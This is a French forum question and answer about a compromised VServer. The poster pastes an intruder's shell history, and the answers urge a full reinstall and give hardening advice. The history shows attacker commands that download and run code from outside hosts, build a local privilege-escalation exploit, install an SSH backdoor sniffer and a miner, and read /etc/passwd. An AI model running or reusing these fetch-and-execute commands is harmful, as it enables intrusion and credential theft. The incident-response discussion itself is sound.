Trouvé Backdoor SSH sur VServer. Que faire?

Hier, j'ai vérifié mon historique de commandes sur mon VServer. J'ai trouvé plusieurs lignes suspectes.

  195  wget aridan.hol.es/sniffer.tgz
  196  tar xvf sniffer.tgz
  197  ls -a
  198  rm -rf sniffer.tgz
  199  rm -rf .sniff/
  200  cd /dev/shm
  201  ls -a
  202  mkdir " . "
  203  ls -a
  204  cd " . "/
  205  wget aridan.hol.es/sniffer.tgz
  206  tar xvf ar
  207  tar zxvf ar
  208  tar xvf sniffer.tgz
  209  cd .sniff/
  210  ls -a
  211  ./setup
  212  ls -a
  213  cd /var/tmp
  214  ls a-
  215  ls -a
  216  cd sy
  217  cd systemd-private-a5e12501dbc746eabcda29463d441b9e-openvpn\@server.servi                                                                             ce-HJ201p/
  218  ls -a
  219  pw
  220  pwd
  221  ls -a
  222  cd tmp/
  223  ls -a
  224  cd / .
  225  cd /dev/shm
  226  ls -a
  227  cd " . "/
  228  ls -a
  229  cd sniffer.tgz
  230  cd ..
  231  ls -a
  232  cd " . "/
  233  rm -rf sniffer.tgz
  234  cd .sniff/
  235  ls -a
  236  cd /var/tmp
  237  nproc
  238  w
  239  wget draqusor.hi2.ro/x; chmod +x *; ./x
  240  wget http://t1fix.com/local/ubuntu-2015.c; gcc ubuntu-2015.c -o ubuntu-20                                                                             15; chmod +x *; ./ubuntu-2015;
  241  id
  242  cd
  243  last
  244  cat /etc/passwd
  245  cd /dev/s
  246  cd /dev/shm/
  247  ls -a
  248  cd " . "/
  249  ls -a
  250  cd .sniff/
  251  ls -a
  252  nano se
  253  nano setup
  254  nano error_log
  255  nano error_log.2
  256  cat error_log.2
  257  ls -a
  258  nproc
  259  cd /var/tmp
  260  ls aรถ-
  261  ls -a
  262  rm -rf u*
  263  rm -rf x
  264  mkdir cache
  265  cd cache
  266  wget datafresh.org/md.tgz
  267  tat xvf md.tgz
  268  tar xvf md.tgz
  269  cd m
  270  cd d
  271  cd md
  272  ./a 5.196
  273  cat /proc/cpuinfo
  274  ./a 5.196
  275  ps -x
  276  cd /

Surtout le sniffer.tgz m'a choqué. J'ai installé une machine virtuelle et téléchargé cette archive tgz. J'ai commencé la configuration et cela m'a donné ces lignes:

-----------------------------------------------------------------------------------
     #OLDTEAM SSHD BACKDOOR v1.2 - OpenSSH 3.6p1
                                  PRIVATE VERSION
-----------------------------------------------------------------------------------


 CHECKING THIS SYSTEM

# GCC:                   [ FOUND ]
# G++:                   [ FOUND ]
# MAKE:                  [ FOUND ]
# OPENSSL DEVEL:         [ NOT FOUND ]

NOW TRYING TO INSTALL OPENSSL DEVEL

Quelqu'un sait-il comment supprimer cela?

Voici ce que vous devez faire sur tous les systèmes sur lesquels vous disposez de ceci sniffer.tgz: Nuke Them From Orbit immédiatement , et recommencer à partir d'une nouvelle installation. (Autrement dit, détruisez le (s) système (s), réinstallez-le (s) proprement, chargez les données à partir de sauvegardes propres - en supposant que vous avez des sauvegardes qui sont propres, puis durcissez le (s) système (s) avant de les remettre sur Internet).

Chaque fois que des logiciels malveillants ou des pirates informatiques pénètrent dans votre système comme celui-ci, il est temps de réanalyser la configuration de votre système et de ne pas répéter les mêmes étapes que celles qu'ils ont suivies. Mais, comme ce n'est peut-être pas un système que vous avez la possibilité de mettre de côté et d'analyser de manière légale, et comme il s'agit peut-être de votre seul serveur, il est temps de détruire le système virtuel et de recommencer à zéro (comme je l'ai dit ci-dessus).

(Et cela s'applique à toute situation dans laquelle vous obtenez des logiciels malveillants sur le système. À moins que vous n'ayez du matériel de rechange pour remplacer quelque chose comme ça afin que vous puissiez isoler et examiner de manière légale le système violé, ce que la plupart des utilisateurs n'ont généralement pas, vous n'avez pas d'autre choix que pour neutraliser le système et recommencer.)

Sans analyser votre serveur, je ne peux pas vraiment dire ce que vous avez fait de mal, mais il est probable que cette porte dérobée soit plus profonde dans le système qu'un simple `` programme '' qui a été installé. Et, comme les méchants ont déjà dû installer une porte dérobée sur votre système, vous pouvez supposer que tous vos mots de passe sont désormais violés et ne sont plus sûrs (que ce soit pour SSH, ou la racine MySQL, ou tout autre type de mot de passe qui a JAMAIS été entré dans ce système informatique). Il est temps de changer tous vos mots de passe!

Une fois que vous êtes de retour dans un environnement propre, voici quelques conseils de base sur les étapes de durcissement à considérer. Notez que parce que cela rend le sujet beaucoup plus large, je ne peux pas vraiment creuser les détails ici, mais il est certainement temps de faire quelques étapes de renforcement pour protéger votre système:

1. Activez un pare-feu et autorisez uniquement l'accès aux ports qui doivent être ouverts . ufwexiste pour être simple, alors utilisons-le. sudo ufw enable. (Configurer ufwcorrectement pour votre environnement est une autre histoire, et cela va au-delà des limites de cette question.)

2. Restreignez l'accès à SSH distant . Ce n'est pas toujours faisable, mais vous devriez idéalement identifier les adresses IP qui vous appartiennent et les mettre en liste blanche dans le pare-feu. (Si vous utilisez une adresse IP résidentielle dynamique, ignorez cette étape).

3. Verrouillez l'accès SSH à votre serveur et exigez l'utilisation de clés SSH uniquement pour l'authentification . De cette façon, les pirates ne peuvent pas attaquer votre serveur et essayer de deviner les mots de passe. Il est BEAUCOUP plus difficile de deviner la clé privée appropriée (car vous devez tous les forcer par brute), et cela vous protège contre les attaques par bruteforcing.

4. Si vous exécutez un site Web, assurez-vous de verrouiller les autorisations afin que les gens ne puissent pas télécharger / exécuter les choses à leur guise . Faire cela varie d'un site à l'autre, donc je ne peux pas vous donner plus de conseils ici (c'est impossible de le faire).

5. De plus, si vous exécutez un site Web à l'aide de Joomla ou Wordpress ou autre, assurez-vous de maintenir l'environnement à jour et corrigé des failles de sécurité des fournisseurs de logiciels .

6. Dans la mesure du possible, installez, configurez et utilisez des méthodes d'authentification à deux facteurs (2FA) pour les éléments avec lesquels vous vous authentifiez . Il existe de nombreuses solutions pour l'authentification à deux facteurs pour différentes applications, et la sécurisation de diverses applications de cette manière dépasse le cadre de cet article, vous devez donc faire vos recherches sur ce point avant de choisir une solution.

7. Si vous devez absolument utiliser des mots de passe dans votre configuration, utilisez un gestionnaire de mots de passe décent (ceux basés sur le cloud ne sont pas nécessairement de bons choix) et utilisez des mots de passe longs (25+ caractères), aléatoires et immémoriaux qui sont différents pour chaque élément individuel qui est sécurisé par des mots de passe (d'où la recommandation du gestionnaire de mots de passe). (Cependant, vous devriez fortement envisager de NE PAS utiliser de mots de passe dans la mesure du possible (comme pour l'authentification SSH), et d'utiliser 2FA si possible).

S'il y a une porte dérobée, il y en a 3 de plus. Isolez, sauvegardez les données, supprimez-les et restaurez soigneusement les données.Faites attention à toutes les données cron, php ou même mysql, elles pourraient toutes être compromises. N'oubliez pas qu'à ce stade, ils ont tous vos mots de passe et hachages, donc si vous avez configuré d'autres machines de la même manière, ils les ont probablement piratés aussi ... La partie difficile est de savoir comment ils sont entrés pour commencer. Si vous avez WordPress rechercher des logiciels malveillants dans les plugins / thèmes etc ... Vérifiez vos autorisations, vous pourriez avoir 777 partout. Pas de réponse simple, vous regardez beaucoup de travail.